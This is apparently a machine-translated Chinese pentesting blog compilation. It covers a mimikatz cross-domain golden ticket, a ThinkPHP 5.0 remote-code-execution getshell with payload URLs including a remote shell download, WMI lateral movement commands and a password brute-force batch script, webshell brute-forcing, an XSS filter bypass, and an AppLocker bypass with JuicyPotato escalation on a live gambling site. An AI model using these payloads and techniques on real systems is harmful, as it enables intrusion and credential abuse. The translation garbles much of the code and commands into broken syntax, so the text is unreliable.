根域和其他域之间最大的区别是根域对整个域森林具有控制权。 该域基于企业管理员组实现此类许可部门。 使用过程 Enterpriseadmins组是该域中的一组用户,仅存在于森林中的根域中。该组的成员是rootkit.org中的管理员用户(不是本地管理员,而是域中的管理员)对域具有完整的管理控制。 在rootkit.org的域控制上的企业管理员组为519。 mimikatz 子域中不存在Enterpriseadmins组。子域中具有最高特权的小组是域管理组。 news.rootkit.org此子域中的管理员用户,该管理员在当前域中具有最高的权限。 参考 010-1010普通金音符仅限于当前域。 2015年,来自中国黑帽子的研究人员提出了增强的黄金音符版本,这些音符突破了域限制。 迁移期间LDAP库的Sidhistory属性中保存的先前域的SID值是通过制作跨域金票来制作的。 如果您知道根域的SID,则可以使用Mimikatz通过子域的KRBTGT的哈希值来使用Enterpriseadmins组权限(域名森林中最高特权)创建票。 然后再生一张包含Mimikatz根域SID的新金票 1mimikatz'Kerberos:Golden /admin:AdMinistrator /domain:news.rootkit.org` /sid:SID /sidssiD /sids:ROOT域名/endin:600 /renewmax:10080 /ptt'退出参考:3https://ADSecurity.org/?p=1640 startoffffset和endin分别表示偏移和长度,而Renewmax表示生成的票证的最大时间。 请注意,您不知道root domain rootkit.org的密码哈希,并在subdomain news.rootkit.org中使用KRBTGT的密码哈希。 然后,您可以通过DIR访问OWA2013.ROOTKIT.org的共享文件夹。目前,这张机票控制了整个域名森林。 010-1010 https://github.com/uknowsec/active-directory-pentest-notes
-
渗透记实|ThinkPhp绕过限制GetShell
本文不能追溯到安全团队官方帐户的来源 0x01简介 我使用ThinkPhp v5.0。*框架和调试模式启用了该网站。我认为可以通过发送有效载荷来解决它,但是我没想到要完成它的过程。 0x02触摸坑 尝试执行命令,系统受到限制 尝试包括日志文件,open_basedir限制 这是一个想法,您可以在运行时包含日志文件,但是ThinkPHP的日志文件相对较大,有时会有许多奇怪的问题阻止代码执行。让我们将其作为替代方案。 尝试通过在thinkphp本身库中设置会话方法,然后将其写入TMP目录中的会话文件,然后包含它 1_method=__ constructFilter []=Think \ Session \ Session:SetMethod=GetServer [request_method]=? phpinfo(); 俗话说, 0x03 getshell ,三名鹅卵石是一个Zhuge Liang,在向大师赛寻求帮助后,他们提供了解决方案。 诺埃尔大师的解决方案和分析: call_user_func存在于request.php的filterValue函数下。根据有效负载,该过程已被跟踪。 首先,您将输入app.php的运行方法 12345678911112131415161719202122222222222255PUBLIC静态函数运行(请求$请求$ request=null){……………………………………………………………………………………………………………………当前课程以获取调度信息。如果您在索引模块下的索引控制器中访问索引方法,则$ dispatch=array(2){['type']=字符串(6)'模块'['module'['module']=array(3){[0]=string(5)=string(5)'index'[1]=string(5)=(5)'index'index'index'[2]=string(5)'index'indect==} self:Routecheck($ request,$ config); } //记录当前的调度信息中检索到的计划信息,即模块,控制器和方法名称存储在请求类$ request-request-dispatch($ dispatch)的调度属性中; //记录路由和请求信息。该模式可在\ application \ config.php参数app_debug中配置,if(self: $ debug){log3:333:record('[oute route]'。 log:record('[header]'。var_export($ request-header(),true),'info'); log:record('[param]'。var_export($ request-param(),true),'info'); }………………………………}在这里,我们主要关注两个函数Routecheck和param,首先查看Routecheck 12345678PUBLIC静态函数RouteCheck($ request,array $ config){$ path=$ request-path(); $ dep=$ config ['pathinfo_depr']; $结果=false; ………………………………………………………………………………………………………………………………//Route detection (return different URL scheduling according to the route definition) $result=Route:check($request, $path, $depr, $config['url_domain_deploy']);它主要通过请求参数传递,并且在检查后基本上对所有内容进行了处理。 启用调试模式后,您可以输入param函数 1234567if(empty($ this-param)){$ method=$ this-method(true); $ this-param=array_merge($ this-get(false),$ vars,$ this-route(false));} return $ this-pution($ this-param,$ name,$ name,$ default,$ default,$ filter);跟进输入功能 1234567891011公共功能输入($ data=[],$ name='',$ default=null,$ filter=''){. $ filter=$ this-getFilter($ filter,$ filter,$ default);如果(is_array($ data)){array_walk_recursive($ data,[$ this,'filterValue'],$ filter);重置($ data); } else {$ this-filtervalue($ data,$ name,$ filter); } getFilter取出过滤器的值,这是断言 array_walk_recursive array_walk_recursive()函数将用户定义的函数应用于数组中的每个元素。在函数中,数组的密钥名称和键值是参数。此函数和array_walk()函数之间的区别在于它可以操纵更深的数组(一个数组包含另一个数组)。 并将filterValue函数应用于$数据的每个元素,然后跟进filterValue 12345678功能滤波器($ value,$ key,$ efferters){. if(is_callable($ filter)){//调用函数或滤波$ values $ value $ value=call_user_func($ filter,$ filter,$ value); } ...} Master Gunmeng的解决方案和分析: 有效载荷参考: 来自:https://xz.aliyun.com/t/3570#toc-4 1http://127.0.0.1/index.php?s=index/think/think/invokefunctionfunction=call_user_func_arrayvars [0] 1https://127.0.0.1/?s=./\ think \ app/InvokeFunctionFunction=call_user_func_arrayvars [0]=assertvars [1] []=phpinfo()=phpinfo() 1https://127.0.0.1/?s=./\ think \ app/invokefunctionfunctionfunction=call_user_func_arrayvars [0]=assertvars [1]=copy('http://127.0.0.0.0.0.1.1/shell.txt'1/shell.txt',考虑到当前的目录情况和分析: Route.PHP的parseurl功能将处理URL 1234567 PRIVATE静态函数parseurl($ url,$ dep='/',$ autoSearch=false){. $ url=str_replace($ dep,'|',$ url);列表($ path,$ var)=self:parseurlpath($ url);}首先用|在URL中替换/然后帕尔塞尔路径将URL分开 123456789111121314151617PRIVATE静态函数parseurlPath($ url){//定界列表替换确保路由定义使用统一的定义者$ url=str_replace('|'|',','/'/'/',$ url); $ url=trim($ url,'/'); $ var=[]; if(false!==strpos($ url,'?')){..} elseif(strpos($ url,'/'')){//[module/controler/controler/operation] $ path=exploit('/',',$ url); } else {.} return [$ path,$ var]; }获取以下三个部分 loder.php下的parsename函数当模块加载时 1234567891011 PUBLIC静态函数parsename($ name,$ type=0,$ ucfirst=true){if($ type){$ name=preg_replace_callback('/_/_([a-za-za-z])返回$ ucfirst? ucfirst($ name): lcfirst($ name); } else {return strtolower(trim(preg_replace('/[a-z]/','_ \\ 0',$ name),'_''_')); }} 现在\ think \ app类将被实例化,并将执行InvokeFunction方法 因此,添加的原因./\是您可以进一步向前跳来跳去 0x04旁路disable_functions 视图禁用 我没有在开始时仔细看残疾的内容,所以我只是使用了 https://github.com/yangyangwithnu/bypass_disablefunc_via_ld_preload 但是发现Putenv被禁用了 通过本文更改方法 https://Mochazz.github.io/2018/09/27/%E6%B8%9M97%E9%E9%80%80%80%8F%E6%B5%B5%8B%E8B%E8%AF; 我了解到使用PCNTL扩展名,确认系统支持 最后,该命令成功执行
-
内网渗透|基于WMI的横向移动
基于WMI的侧向运动 WMI简介 WMI的全名是Windows Management仪器。它出现在所有Windows操作系统中,并由一组强大的工具组成,用于管理本地或远程Windows系统。攻击者使用WMI攻击,但是Windows系统默认情况下不会在日志中记录这些操作。它可以是无木的。攻击脚本不需要写入磁盘,这会增加隐藏。建议使用WMIC远程执行命令。 WMI利用条件 远程服务器启动Windows Management Instrumentation服务(默认为ON) 端口135未过滤[如果在默认配置下启用了目标主机防火墙,则不会连接防火墙] 连接失败常见错误编号: 1234567891111213141516171819202121。允许共享异常错误:代码=0x800706BA描述=RPC服务器不可用。设备=Win322。错误:当组策略封锁indurandIvestraotr远程访问=0x80070005描述=访问被拒绝。设备=Win323.IP安全策略块135错误:代码=0x800706BA描述=RPC服务器不可用。设备=Win324。错误:禁用Winmgmt Service=0x80070422描述=无法启动服务时代码,因为它可能被禁用或与之关联的设备未启动。设备=Win325。 Wbem directory permission is denied, wmic cannot be used. 使用WMIC进行水平运动 通用系统带有命令 123456781. List remote host process wmic /node:192.168.1.1 /user:192.168.1.1\administrator /password:00!@#123QWE process list brief2.执行BAT脚本WMIC /NODE:192.168.1 /user:192.168.1.1.1 \administrator /passwork:0!@#123QWe Process Calles CALTER CALLE CALLE CALCE CALES CARTE CREATE C: \ PROGRAMDATA \ PROGRAMDATA \ TEST.BAT33。在远程系统WMIC /NODE:192.168.1 /user:192.168.1.1.1 \administrator /password:0上执行单个命令https://www.cnblogs.com/0xdd/p/11393392.html 批处理爆炸 练习后,WMI的爆炸将有3个以上的错误。 360将拦截[没有软杀时,没有测试],日志是远程RDP爆炸,WMI的连接将受到临时限制。 ※以下是一个密码爆炸。如果需要爆炸多个密码爆炸,则可以根据IPC侧面的文章水平移动它来对其进行修改。 点点:请注意特殊字符,例如密码中的%需要使用%示例:123#$%应该转换为123#$ %% 1234567891011@echo ofcho offclsecho useage:%0 ip.txtfor /f %% i in(%1)do(echo wmic /node: %% i /user:'%% i \ indersantor' /user:'%% i \管理员' /password:'123456'进程列表简短2nulif errorLevel==0(echo Success: %% i pic.txt)echo end.txt End.txt 使用工具 -1 wmiexec.vbs Impacket-wmiexec 尚未测试 wmiexec.vbs是一种开发的工具,旨在解决WMIC无法回声命令的工具。原理是首先将数据保存在临时文件中,并在每次读取执行结果后自动删除数据。它可用于回声“执行命令”的结果并获得“半相互作用壳”。 1cscript wmiexec.vbs /cmd 192.168.1.1管理员测试@123 Whoami SharpWmi 优点:支持PTH 缺点:它需要调用WMI服务,占据目标的445、135和另一个随机端口。 使用参考:域渗透——通过哈希实现(3Gstudent.github.io) SharpWmi(修改版本) 这是一种基于端口135水平移动的工具。它具有执行命令和上传文件的功能。它通过WMI执行命令,并通过呼叫传输数据。 优点:仅依靠端口135,而不依靠港口139和港口445 缺点:当前,仅支持将文件上传到512kb以下,因为重置每个值的长度不能超过512kb。执行命令和上传文件都取决于PowerShell(由360拦截)https://github.com/qax-a-team/sharpwmi Wmihacker(推荐) https://github.com/idiotc4t/sharpwmi 这是一种基于端口135的水平移动的工具。它具有执行命令和上传文件的功能。它通过WMI执行命令,并通过注册表传输数据。 拉登 水平穿透的远程命令执行是创建服务或调用win32_process.create excution命令。这些方法已被SWSW.CKER水平运动测试工具100%截获。 (仅依靠端口135,不依靠端口139和港口445) 重要:支持PTH-https://github.com/360-linton-lab/wmihacker/issues/1 主函数:1。命令执行; 2。文件上传; 3。文件下载 https://github.com/360-linton-lab/wmihacker Sharp-Wmiexec 模块功能 目标端口 目标系统 用法教程 WMI爆炸 港口135 视窗 http://K8GE.org/ladon/wmiscan.html WMI-NTLMHASH爆炸 港口135 视窗 http://k8ge.org/ladon/wmihashscan.html Wmiexec(推荐) 港口135 视窗 仅端口135在注册表中回荡,侵袭者或其他也依赖445的工具,并且不依赖PowerShell,适合任何目标 Wmiexec2 港口135 视窗 像Wmiexec一样,通过注册表回声仅需要端口135,但是依靠PowerShell,没有PowerShell的目标可能不适用。 WMICMD 未使用,尚未测试 https://github.com/checkymander/sharp-wmiexec 010-1010未使用,尚未测试 https://github.com/nccgroup/wmicmd
- 一星期实战总结(三)
-
ShellBruter|WebShell高效爆破字典生成
武术世界中的人们被称为轮子妈妈。 爆炸想法参考: https://www.t00ls.net/thread-36985-1-1.html 我之所 用法的示例: 假设当前的外壳是: 1?php @eval($ _ post [a]);1)Burp Loading生成的爆炸字典 2)关闭URL编码(非常重要) 3)获取结果 该方法可以灵活地使用,其余的可以自由使用。 GitHub地址: https://github.com/r00tse7en/shellbruter
- 一星期实战总结(二)
-
某某街一处XSS的绕过思路
便便测试 0x01简介 流行病的影响,在新年假期里呆在家里很无聊。我去了一个平台检查人群测试项目,考虑为面具赚钱 0x02直接关闭 一开始,我试图直接关闭A标签,但发现输出将以物理方式编码,因此我放弃了 0x03 JavaScript伪pseudo协议 由于输出在A标签的HREF中,因此尝试伪协议,有效负载如下: 1Javascript:Alert(document.domain)提交后,发现输出内容已直接过滤。 经过几次尝试,将过滤绕过以下有效载荷,并成功弹出了窗口。 1Javastab; Script:Alert(1) 但是,一个小的破碎弹出窗口如何证明伤害 0x04旁路限制到加载外部JS 我直接使用了XSshunter的有效载荷。提交点击后,我发现执行无法成功。 在仔细比较输出内容和原始内容之后,我发现在输出时,所有字符均以小写为单位。 在这里,我们首先了解XSS中的编码问题。在评估中支持Unicode编码。最终构造的有效载荷可以单独编码大写字母。 最终效果: 0x05报告结果 我认为至少可以陷入危险情况,但是制造商认为需要单击这一点才能进行互动,这给人以较低的风险。 上诉:评级时,请查看功能点,毕竟,这是需要单击的业务功能。 制造商的反馈:经过讨论,在JavaScript的开头很难使用恶意链接,因此评级是低风险的。 给爪子
-
BC实战|后渗透之Bypass Applocker到提权
冷静地分析并冷静地做出反应。 0x01简介 提示:只需将其视为负面情况即可。实际上,您获得的方式远不如下面提到的麻烦。我只是责怪自己太不耐烦了. 它最初是卑诗省项目创建的促销场所,但当时只有外壳 权限是普通用户。当他想提高许可以进一步收集服务器上的信息时,他发现拒绝运行各种事情的权限,并提示小组策略阻止程序。当时,由于还有其他事情,他没有继续研究它(用户名更敏感,整个过程将在稍后进行编码)。 0x02旁路pastocker 我最近突然想起了它,所以我继续这样做,问小组的主人 知道它是什么后,很容易说。如果您耐心地寻找它,您将始终获得一些东西。 Applocker简介: https://baike.baidu.com/item/applocker/2300852?fr=aladdin 然后我找到了3G大师的文章: https://3Gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/ 如何具体使用它,请自己阅读文章。阅读本文后,后续行动的总体想法将很清楚。 0x03在线升级 我认为,旁路Applocker允许目标服务器在启动马匹后执行随后的功率升级。但是,在外壳下的净用户,任务列表/SVC等的执行不得回声,否则可以判断和杀死该过程比较(我自己写的小轮子,匹配过程已增加到960+:3http://get-av.se7ensec.cn/) 既然我不知道,我会争夺我的角色,并打赌,主机中没有杀人软件。我通过上面的3G主文章的第三种方法跑了马,然后成功地上网,忽略了下面的机器. 启动CS后,运行一些命令,例如以下命令,任务清单/SCV仍将被拒绝访问。 然后,我尝试了内置的CS系统进程命令“ PS”,并成功列出了系统进程。看完之后,它确实没有杀死该软件。 /*忘了屏幕截图*/ 运行“ Shell SystemInfo”,发现可以看到系统和补丁信息。但是,该系统根本没有应用一些补丁。我很幸运。我查看了用户的许可,并满足了多汁的土豆的要求。我可以直接尝试撤回腐烂的马铃薯的权利: https://www.4hou.com/posts/vzol 经过测试后,我发现它是启动的(实际上我已经执行了执行权限,但是当时我没想到有什么问题。我意识到当我稍后总结文章时,我意识到出了问题。有关详细信息,请参阅文章的结尾)。我在C: \ Users \ public \下获得了执行权限。我用多汁的马铃薯用Whoami参数执行,并成功返回系统。 然后使用它直接卸下,并且系统会话将在几秒钟内进行。翻转目录后,我发现它仍然是一个网站组。 进行管理员权限的屏幕截图。难怪有这么多。事实证明,他们都分批建立网站: 0x04摘要 碰巧这次我很幸运,没有遇到杀手,否则这将是一条颠簸的道路,将会更具挑战性。 最大的失败是,这次我没有提前完全了解Appleocker的某些功能:3https://www.anquanke.com/post/id/159892。我急于搜索旁路方法并开始使用它。实际上,这次我遇到的只是文件路径的限制。 C: \ Users \ public \可以执行程序。早些时候发现并不难。但是,能够充分理解应用程序机制也是一种回报。 最后,我要感谢Haya和Beli1v1大师的指导和帮助。
-
回炉再造
学习安全技术并承认自己的弱点不是丑闻。 只有明确原则,您才能突破更多的限制。 ——@ringzero 一,二,三,二,三,四,转身再次做。
-
迟来的年度总结
我不知道现在写年度摘要是否有点晚。 2019 在2019年,一切顺利。我一生中的第一次实习,进入了一些小的沟通,并遇到了一些真正的“大师”。通过各种渠道,例如论坛,官方帐户,QQ,微信组和小圈子,我每天都可以被动地积极地学习各种思想和知识,并进行一些技术积累,但我仍然觉得我缺乏某种东西,这是我的定位和发展方向。 由于我选择了穿透测试的路径,因此我必须坚持下去。面对知识的“深度”和“广度”的发展,这一直是我非常困惑的问题。 选择“深度” 找到一个领域,进行深入研究,并努力在几年内达到一定水平。最好成为该领域的相对领先地位,但我觉得我并不那么聪明。我一直都在研究,我正在模仿我已经研究的内容,而且很少有人自己研究它。 选择“广度” 这更适合工作场景的需求。为了达到目标要求,您将使用任何手段来支持它。困难不亚于前者,甚至更多。进行渗透测试时需要考虑的也是一个方面。我们需要做的是在表面上找到一个突破点。这个突破点不应仅限于网络,因此我们自然需要了解一些特殊的攻击方法,这就是为什么存在“广度”的原因。这种感觉变得更加清晰,尤其是在我看到并了解更多之后。 2020 我的答案 最近,我关注了一个带有匿名ID的大师撰写的博客。匿名可能是作品本质的原因。阅读后记录的内容或多或少会引起共鸣,我还找到了问题的答案。合格的“黑客”必须追求“广度”,同时也发展了他的“深度”。这两个实际上并没有冲突,但他们只需要将更多的精力置于他们善良的方向上。如果您坚持不懈,如果您有耐心,您将始终取得成果。 未来计划 将继续练习网络(很容易开始,很难深入研究) 扩展Intranet渗透的新方向(水平,没有杀戮,权利保护) Python(清晰的想法,高效编码) 最终目标 努力通过自己独特的见解实现相对完整的渗透测试系统